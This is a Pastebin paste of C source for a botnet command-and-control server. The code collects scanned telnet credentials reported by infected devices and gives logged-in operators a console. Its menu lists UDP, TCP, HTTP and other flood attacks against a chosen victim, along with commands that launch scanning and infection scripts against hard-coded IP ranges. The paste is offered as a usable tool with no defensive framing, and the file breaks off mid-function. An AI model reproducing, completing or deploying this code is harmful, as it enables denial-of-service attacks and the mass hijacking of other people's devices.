Guest User

Untitled

a guest
Oct 21st, 2017
41
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.38 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Custom Server Side by Dope Servers enjoyyyy
  4. */
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <stdint.h>
  8. #include <inttypes.h>
  9. #include <string.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netdb.h>
  13. #include <unistd.h>
  14. #include <time.h>
  15. #include <fcntl.h>
  16. #include <sys/epoll.h>
  17. #include <errno.h>
  18. #include <pthread.h>
  19. #include <signal.h>
  20. #include <arpa/inet.h>
  21. #define MAXFDS 1000000
  22. //////////////////////////////////
  23. struct login_info {
  24. char username[20];
  25. char password[20];
  26. };
  27. static struct login_info accounts[10];
  28. struct clientdata_t {
  29. uint32_t ip;
  30. char connected;
  31. } clients[MAXFDS];
  32. struct telnetdata_t {
  33. int connected;
  34. } managements[MAXFDS];
  35. struct args {
  36. int sock;
  37. struct sockaddr_in cli_addr;
  38. };
  39. static volatile FILE *telFD;
  40. static volatile FILE *fileFD;
  41. static volatile int epollFD = 0;
  42. static volatile int listenFD = 0;
  43. static volatile int OperatorsConnected = 0;
  44. static volatile int TELFound = 0;
  45. static volatile int scannerreport;
  46. //////////////////////////////////
  47. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  48. int total = 0, got = 1;
  49. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  50. return got;
  51. }
  52. void trim(char *str) {
  53. int i;
  54. int begin = 0;
  55. int end = strlen(str) - 1;
  56. while (isspace(str[begin])) begin++;
  57. while ((end >= begin) && isspace(str[end])) end--;
  58. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  59. str[i - begin] = '\0';
  60. }
  61. static int make_socket_non_blocking (int sfd) {
  62. int flags, s;
  63. flags = fcntl (sfd, F_GETFL, 0);
  64. if (flags == -1) {
  65. perror ("fcntl");
  66. return -1;
  67. }
  68. flags |= O_NONBLOCK;
  69. s = fcntl (sfd, F_SETFL, flags);
  70. if (s == -1) {
  71. perror ("fcntl");
  72. return -1;
  73. }
  74. return 0;
  75. }
  76. static int create_and_bind (char *port) {
  77. struct addrinfo hints;
  78. struct addrinfo *result, *rp;
  79. int s, sfd;
  80. memset (&hints, 0, sizeof (struct addrinfo));
  81. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  82. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  83. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  84. s = getaddrinfo (NULL, port, &hints, &result);
  85. if (s != 0) {
  86. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  87. return -1;
  88. }
  89. for (rp = result; rp != NULL; rp = rp->ai_next) {
  90. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  91. if (sfd == -1) continue;
  92. int yes = 1;
  93. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  94. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  95. if (s == 0) {
  96. break;
  97. }
  98. close (sfd);
  99. }
  100. if (rp == NULL) {
  101. fprintf (stderr, "Could not bind\n");
  102. return -1;
  103. }
  104. freeaddrinfo (result);
  105. return sfd;
  106. }
  107. void broadcast(char *msg, int us, char *sender)
  108. {
  109. int sendMGM = 1;
  110. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  111. char *wot = malloc(strlen(msg) + 10);
  112. memset(wot, 0, strlen(msg) + 10);
  113. strcpy(wot, msg);
  114. trim(wot);
  115. time_t rawtime;
  116. struct tm * timeinfo;
  117. time(&rawtime);
  118. timeinfo = localtime(&rawtime);
  119. char *timestamp = asctime(timeinfo);
  120. trim(timestamp);
  121. int i;
  122. for(i = 0; i < MAXFDS; i++)
  123. {
  124. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  125. if(sendMGM && managements[i].connected)
  126. {
  127. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  128. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  129. send(i, ": ", 2, MSG_NOSIGNAL);
  130. }
  131. printf("sent to fd: %d\n", i);
  132. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  133. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[33m> \x1b[0m", 13, MSG_NOSIGNAL);
  134. else send(i, "\n", 1, MSG_NOSIGNAL);
  135. }
  136. free(wot);
  137. }
  138. void *BotEventLoop(void *useless) {
  139. struct epoll_event event;
  140. struct epoll_event *events;
  141. int s;
  142. events = calloc (MAXFDS, sizeof event);
  143. while (1) {
  144. int n, i;
  145. n = epoll_wait (epollFD, events, MAXFDS, -1);
  146. for (i = 0; i < n; i++) {
  147. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  148. clients[events[i].data.fd].connected = 0;
  149. close(events[i].data.fd);
  150. continue;
  151. }
  152. else if (listenFD == events[i].data.fd) {
  153. while (1) {
  154. struct sockaddr in_addr;
  155. socklen_t in_len;
  156. int infd, ipIndex;
  157.  
  158. in_len = sizeof in_addr;
  159. infd = accept (listenFD, &in_addr, &in_len);
  160. if (infd == -1) {
  161. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  162. else {
  163. perror ("accept");
  164. break;
  165. }
  166. }
  167.  
  168. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  169. int dup = 0;
  170. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  171. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  172. if(clients[ipIndex].ip == clients[infd].ip) {
  173. dup = 1;
  174. break;
  175. }}
  176. if(dup) {
  177. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  178. close(infd);
  179. continue;
  180. }
  181. s = make_socket_non_blocking (infd);
  182. if (s == -1) { close(infd); break; }
  183. event.data.fd = infd;
  184. event.events = EPOLLIN | EPOLLET;
  185. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  186. if (s == -1) {
  187. perror ("epoll_ctl");
  188. close(infd);
  189. break;
  190. }
  191. clients[infd].connected = 1;
  192. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  193. }
  194. continue;
  195. }
  196. else {
  197. int datafd = events[i].data.fd;
  198. struct clientdata_t *client = &(clients[datafd]);
  199. int done = 0;
  200. client->connected = 1;
  201. while (1) {
  202. ssize_t count;
  203. char buf[2048];
  204. memset(buf, 0, sizeof buf);
  205. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  206. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  207. trim(buf);
  208. if(strcmp(buf, "PING") == 0) {
  209. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  210. continue;
  211. }
  212. if(strstr(buf, "REPORT ") == buf) {
  213. char *line = strstr(buf, "REPORT ") + 7;
  214. fprintf(telFD, "%s\n", line);
  215. fflush(telFD);
  216. TELFound++;
  217. continue;
  218. }
  219. if(strstr(buf, "PROBING") == buf) {
  220. char *line = strstr(buf, "PROBING");
  221. scannerreport = 1;
  222. continue;
  223. }
  224. if(strstr(buf, "REMOVING PROBE") == buf) {
  225. char *line = strstr(buf, "REMOVING PROBE");
  226. scannerreport = 0;
  227. continue;
  228. }
  229. if(strcmp(buf, "PONG") == 0) {
  230. continue;
  231. }
  232. printf("buf: \"%s\"\n", buf);
  233. }
  234. if (count == -1) {
  235. if (errno != EAGAIN) {
  236. done = 1;
  237. }
  238. break;
  239. }
  240. else if (count == 0) {
  241. done = 1;
  242. break;
  243. }
  244. if (done) {
  245. client->connected = 0;
  246. close(datafd);
  247. }}}}}}
  248. unsigned int BotsConnected() {
  249. int i = 0, total = 0;
  250. for(i = 0; i < MAXFDS; i++) {
  251. if(!clients[i].connected) continue;
  252. total++;
  253. }
  254. return total;
  255. }
  256. void *TitleWriter(void *sock) {
  257. int datafd = (int)sock;
  258. char string[2048];
  259. while(1) {
  260. memset(string, 0, 2048);
  261. sprintf(string, "%c]0;Bots Scanned: %d| Users: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  262. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  263. sleep(2);
  264. }}
  265. int Find_Login(char *str) {
  266. FILE *fp;
  267. int line_num = 0;
  268. int find_result = 0, find_line=0;
  269. char temp[512];
  270.  
  271. if((fp = fopen("login.txt", "r")) == NULL){
  272. return(-1);
  273. }
  274. while(fgets(temp, 512, fp) != NULL){
  275. if((strstr(temp, str)) != NULL){
  276. find_result++;
  277. find_line = line_num;
  278. }
  279. line_num++;
  280. }
  281. if(fp)
  282. fclose(fp);
  283. if(find_result == 0)return 0;
  284. return find_line;
  285. }
  286. void *BotWorker(void *sock) {
  287. int datafd = (int)sock;
  288. int find_line;
  289. OperatorsConnected++;
  290. pthread_t title;
  291. char buf[2048];
  292. char* username;
  293. char* password;
  294. memset(buf, 0, sizeof buf);
  295. char botnet[2048];
  296. memset(botnet, 0, 2048);
  297. char botcount [2048];
  298. memset(botcount, 0, 2048);
  299. char statuscount [2048];
  300. memset(statuscount, 0, 2048);
  301.  
  302. FILE *fp;
  303. int i=0;
  304. int c;
  305. fp=fopen("login.txt", "r");
  306. while(!feof(fp)) {
  307. c=fgetc(fp);
  308. ++i;
  309. }
  310. int j=0;
  311. rewind(fp);
  312. while(j!=i-1) {
  313. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  314. ++j;
  315. }
  316.  
  317. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  318. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  319. trim(buf);
  320. char* nickstring;
  321. sprintf(accounts[find_line].username, buf);
  322. nickstring = ("%s", buf);
  323. find_line = Find_Login(nickstring);
  324. if(strcmp(nickstring, accounts[find_line].username) == 0){
  325. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  326. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  327. trim(buf);
  328. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  329. memset(buf, 0, 2048);
  330. goto Banner;
  331. }
  332. failed:
  333. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  334. char failed_line1[80];
  335.  
  336. sprintf(failed_line1, "\x1b[33mAccess Denied\r\n");
  337. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  338. sleep(5);
  339. goto end;
  340.  
  341. Banner:
  342. pthread_create(&title, NULL, &TitleWriter, sock);
  343. char ascii_banner_line1 [5000];
  344. char ascii_banner_line2 [5000];
  345. char ascii_banner_line3 [5000];
  346. char ascii_banner_line4 [5000];
  347. char ascii_banner_line5 [5000];
  348. char ascii_banner_line6 [5000];
  349. char ascii_banner_line7 [5000];
  350. char ascii_banner_line8 [5000];
  351. char ascii_banner_line9 [5000];
  352. char ascii_banner_line10 [5000];
  353. char ascii_banner_line11 [5000];
  354. char ascii_banner_line12 [5000];
  355. char ascii_banner_line13 [5000];
  356. char welcome_line [80];
  357. char banner_bot_count [2048];
  358. memset(banner_bot_count, 0, 2048);
  359.  
  360. sprintf(ascii_banner_line1, "\x1b[1;31m _, _ _ ,_ \r\n");
  361. sprintf(ascii_banner_line2, "\x1b[1;31m o888P Y8o8Y Y888o. \r\n");
  362. sprintf(ascii_banner_line3, "\x1b[1;31m d88888 88888 88888b \r\n");
  363. sprintf(ascii_banner_line4, "\x1b[1;31m ,8888888b_ _d88888b_ _d8888888, \r\n");
  364. sprintf(ascii_banner_line5, "\x1b[1;31m 888888888888888888888888888888888 \r\n");
  365. sprintf(ascii_banner_line6, "\x1b[1;31m 888888888888888888888888888888888 \r\n");
  366. sprintf(ascii_banner_line7, "\x1b[1;31m Y8888P'Y888P'Y888P-Y888P'Y88888' \r\n");
  367. sprintf(ascii_banner_line8, "\x1b[1;31m Y888 '8' Y8P '8' 888Y \r\n");
  368. sprintf(ascii_banner_line9, "\x1b[1;31m '8o V o8' \r\n");
  369. sprintf(ascii_banner_line10, "\x1b[1;31m ` ` \r\n");
  370. sprintf(ascii_banner_line11, "\x1b[1;31m ╔═╗┌─┐┌┬┐┬ ┬┌─┐┌┬┐ \r\n");
  371. sprintf(ascii_banner_line12, "\x1b[1;31m ║ ╦│ │ │ ├─┤├─┤│││ \r\n");
  372. sprintf(ascii_banner_line13, "\x1b[1;31m ╚═╝└─┘ ┴ ┴ ┴┴ ┴┴ ┴ \r\n");
  373. sprintf(welcome_line, "\r\n\x1b[1;31m ~[\x1b[1;31mWelcome, %s\x1b[1;31m]~\r\n", accounts[find_line].username);
  374. sprintf(banner_bot_count, "\x1b[1;31m ~[\x1b[1;31mBOT COUNT: %d\x1b[1;31m]~\r\n", BotsConnected(), OperatorsConnected);
  375.  
  376. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  377. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  378. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  379. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  380. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  381. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  382. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  383. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  384. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  385. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  386. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  387. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  388. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  389. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  390. while(1) {
  391. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  392. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  393. break;
  394. }
  395. pthread_create(&title, NULL, &TitleWriter, sock);
  396. managements[datafd].connected = 1;
  397.  
  398. while(fdgets(buf, sizeof buf, datafd) > 0)
  399. {
  400. if(strstr(buf, "BOTS")) {
  401. sprintf(botcount, "Bots Loaded: %d | Users: %d\r\n", BotsConnected(), OperatorsConnected);
  402. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  403. continue;
  404. }
  405. if(strstr(buf, "STATUS")){
  406. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  407. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  408. continue;
  409. }
  410. if(strstr(buf, "STATS")){
  411. sprintf(botcount, "Zombies Loaded: %d | ZOmbies Herder: %d\r\n", BotsConnected(), OperatorsConnected);
  412. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  413. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  414. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  415. continue;
  416. }
  417. if(strstr(buf, "INFECT")) {
  418. system("python telnet.py filtered.txt");
  419. continue;
  420. }
  421. if(strstr(buf, "REINFECT")) {
  422. system("python w.py filtered_ssh.txt");
  423. continue;
  424. }
  425. if(strstr(buf, "FILTER")) {
  426. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  427. continue;
  428. }
  429. if(strstr(buf, "LOAD")) {
  430. system("python scan.py 376 LOAD 88 1");
  431. continue;
  432. }
  433. if(strstr(buf, "SCAN1")) {
  434. system("python scan.py 376 B 119.92 lol");
  435. continue;
  436. }
  437. if(strstr(buf, "SCAN2")) {
  438. system("python scan.py 376 B 119.93 lol");
  439. continue;
  440. }
  441. if(strstr(buf, "SCAN3")) {
  442. system("python scan.py 376 B 125.25 1");
  443. continue;
  444. }
  445. if(strstr(buf, "SCAN4")) {
  446. system("python scan.py 376 B 125.26 1");
  447. continue;
  448. }
  449. if(strstr(buf, "SCAN5")) {
  450. system("python scan.py 376 B 125.27 1");
  451. continue;
  452. }
  453. if(strstr(buf, "SCAN6")) {
  454. system("python scan.py 376 B 113.53 1");
  455. continue;
  456. }
  457. if(strstr(buf, "SCAN7")) {
  458. system("python scan.py 376 B 180.180 1");
  459. continue;
  460. }
  461. if(strstr(buf, "SCAN8")) {
  462. system("python scan.py 376 B 185.52 1");
  463. continue;
  464. }
  465. if(strstr(buf, "LUCKY")) {
  466. system("python scan.py 376 LUCKY 88 1");
  467. continue;
  468. }
  469. if(strstr(buf, "LUCKY2")) {
  470. system("python scan.py 376 LUCKY2 88 1");
  471. continue;
  472. }
  473. if(strstr(buf, "SCAN_OFF")) {
  474. system("killall -9 python");
  475. continue;
  476. }
  477. if(strstr(buf, "HELP")) {
  478. pthread_create(&title, NULL, &TitleWriter, sock);
  479. char helpline1 [80];
  480. char helpline2 [80];
  481. char helpline3 [80];
  482. char helpline4 [80];
  483. char helpline5 [80];
  484. char helpline6 [80];
  485. char helpline7 [80];
  486. char helpline8 [80];
  487. char helpline9 [80];
  488. char helpline10 [80];
  489. char helpline11 [80];
  490. char helpline12 [80];
  491. char helpline13 [80];
  492. char helpline14 [80];
  493. char helpline15 [80];
  494. char helpline16 [80];
  495. char helpline17 [80];
  496. char helpline18 [80];
  497. char helpline19 [80];
  498. char helpline20 [80];
  499. char helpline21 [80];
  500. char helpline22 [80];
  501. char helpline23 [80];
  502. char helpline24 [80];
  503. char helpline25 [80];
  504.  
  505.  
  506.  
  507. sprintf(helpline1, "\r\n\x1b[33m~[ATTACK COMMANDS]~\r\n");
  508. sprintf(helpline2, "\x1b[33m~[\x1b[37mUDP\x1b[33m]~ \x1b[37m!* UDP Victim Port Time 32 0 10\r\n");
  509. sprintf(helpline3, "\x1b[33m~[\x1b[37mTCP\x1b[33m]~ \x1b[37m!* TCP Victim Port Time 32 all 0 10\r\n");
  510.  
  511. sprintf(helpline4, "\x1b[33m~[\x1b[37mSTD\x1b[33m]~ \x1b[37m!* STD Victim Port Time\r\n");
  512. sprintf(helpline5, "\x1b[33m~[\x1b[37mHTTP\x1b[33m]~ \x1b[37m!* HTTP Url Time\r\n");
  513. sprintf(helpline6, "\x1b[33m~[\x1b[37mJUNK\x1b[33m]~ \x1b[37m!* JUNK Victim Port Time\r\n");
  514. sprintf(helpline7, "\x1b[33m~[\x1b[37mHOLD\x1b[33m]~ \x1b[37m!* HOLD Victim Port Time\r\n");
  515. sprintf(helpline8, "\x1b[33m~[\x1b[37mKILL\x1b[33m]~ \x1b[37m!* KILLATTK | KILL\r\n");
  516.  
  517. sprintf(helpline9, "\x1b[33m~[Zombies Scanning Command]~\r\n");
  518. sprintf(helpline10, "\x1b[33m~[\x1b[37mLOAD\x1b[33m]~ \x1b[37mLOAD\r\n");
  519. sprintf(helpline11, "\x1b[33m~[\x1b[37mSCAN\x1b[33m]~ \x1b[37mSCAN1 | SCAN2 | SCAN3 | SCAN4\r\n");
  520. sprintf(helpline12, "\x1b[33m~[\x1b[37mSCAN\x1b[33m]~ \x1b[37mSCAN5 | SCAN6 | SCAN7 | SCAN8\r\n");
  521. sprintf(helpline13, "\x1b[33m~[\x1b[37mLUCKY\x1b[33m]~ \x1b[37mLUCKY | LUCKY2\r\n");
  522. sprintf(helpline14, "\x1b[33m~[\x1b[37mSTOP\x1b[33m]~ \x1b[37mSCAN_OFF\r\n");
  523.  
  524. sprintf(helpline15, "\x1b[33m~[\x1b[37mGENERAL COMMANDS\x1b[33m]~\r\n");
  525. sprintf(helpline16, "\x1b[33m~[\x1b[37mSHELL\x1b[33m]~ \x1b[37m!* SH\r\n");
  526. sprintf(helpline17, "\x1b[33m~[\x1b[37mBOTS\x1b[33m]~ \x1b[37m!* BOTS | BOTS\r\n");
  527. sprintf(helpline18, "\x1b[33m~[\x1b[37mSTATUS\x1b[33m]~ \x1b[37m!* STATUS | STATUS\r\n");
  528. sprintf(helpline19, "\x1b[33m~[\x1b[37mSTATS\x1b[33m]~ \x1b[37mSTATS\r\n");
  529.  
  530. sprintf(helpline20, "\x1b[33m~[\x1b[37mMISC COMMANDS\x1b[33m]~\r\n");
  531. sprintf(helpline21, "\x1b[33m~[\x1b[37mINECTION FILTER\x1b[33m]~ \x1b[37mFILTER\r\n");
  532. sprintf(helpline22, "\x1b[33m~[\x1b[37mTELNET INFECT\x1b[33m]~ \x1b[37mINFECT\r\n");
  533. sprintf(helpline23, "\x1b[33m~[\x1b[37mREINFECT BOTS\x1b[33m]~ \x1b[37mREINFECT\r\n");
  534.  
  535. sprintf(helpline24, "\x1b[33m~[\x1b[37mCLEARSCREEN\x1b[33m]~ \x1b[37mCLEAR\r\n");
  536. sprintf(helpline25, "\x1b[33m~[\x1b[37mLOGOUT\x1b[33m]~ \x1b[37mLOGOUT\r\n");
  537.  
  538.  
  539.  
  540. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  541. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  542. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  543. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  544. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  545. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  546. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  547. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  548. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  549. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  550. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  551. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  552. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  553. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  554. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  555. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  556. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  557. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  558. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  559. if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  560. if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  561. if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  562. if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  563. if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  564. if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  565. pthread_create(&title, NULL, &TitleWriter, sock);
  566. continue;
  567. }
  568. if(strstr(buf, "KILL")) {
  569. char killattack [2048];
  570. memset(killattack, 0, 2048);
  571. sprintf(killattack, "!* KILLATTK\r\n");
  572. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  573. continue;
  574. }
  575. if(strstr(buf, "CLEAR")) {
  576. char clearscreen [2048];
  577. memset(clearscreen, 0, 2048);
  578. sprintf(clearscreen, "\033[2J\033[1;1H");
  579. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  580. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  581. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  582. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  583. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  584. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  585. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  586. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  587. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  588. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  589. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  590. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  591. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  592. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  593. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  594. while(1) {
  595. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  596. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  597. break;
  598. }
  599. continue;
  600. }
  601. if(strstr(buf, "LOGOUT")) {
  602. char logoutmessage [2048];
  603. memset(logoutmessage, 0, 2048);
  604. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  605. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  606. sleep(5);
  607. goto end;
  608. }
  609. trim(buf);
  610. if(send(datafd, "\x1b[33m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  611. if(strlen(buf) == 0) continue;
  612. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  613.  
  614. FILE *LogFile;
  615. LogFile = fopen("server_log.txt", "a");
  616. time_t now;
  617. struct tm *gmt;
  618. char formatted_gmt [50];
  619. char lcltime[50];
  620. now = time(NULL);
  621. gmt = gmtime(&now);
  622. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  623. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  624. fclose(LogFile);
  625. broadcast(buf, datafd, accounts[find_line].username);
  626. memset(buf, 0, 2048);
  627. }
  628. end:
  629. managements[datafd].connected = 0;
  630. close(datafd);
  631. OperatorsConnected--;
  632. }
  633. void *BotListener(int port) {
  634. int sockfd, newsockfd;
  635. socklen_t clilen;
  636. struct sockaddr_in serv_addr, cli_addr;
  637. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  638. if (sockfd < 0) perror("ERROR opening socket");
  639. bzero((char *) &serv_addr, sizeof(serv_addr));
  640. serv_addr.sin_family = AF_INET;
  641. serv_addr.sin_addr.s_addr = INADDR_ANY;
  642. serv_addr.sin_port = htons(port);
  643. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  644. listen(sockfd,5);
  645. clilen = sizeof(cli_addr);
  646. while(1) {
  647. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  648. if (newsockfd < 0) perror("ERROR on accept");
  649. pthread_t thread;
  650. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  651. }}
  652. int main (int argc, char *argv[], void *sock)//~B1NARY~
  653. {
  654. signal(SIGPIPE, SIG_IGN);
  655. int s, threads, port;
  656. struct epoll_event event;
  657. if (argc != 4) {
  658. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  659. exit (EXIT_FAILURE);
  660. }
  661. port = atoi(argv[3]);
  662. telFD = fopen("telnet.txt", "a+");
  663. threads = atoi(argv[2]);
  664. listenFD = create_and_bind (argv[1]);
  665. if (listenFD == -1) abort ();
  666. s = make_socket_non_blocking (listenFD);
  667. if (s == -1) abort ();
  668. s = listen (listenFD, SOMAXCONN);
  669. if (s == -1) {
  670. perror ("listen");
  671. abort ();
  672. }
  673. epollFD = epoll_create1 (0);
  674. if (epollFD == -1) {
  675. perror ("epoll_create");
  676. abort ();
  677. }
  678. event.data.fd = listenFD;
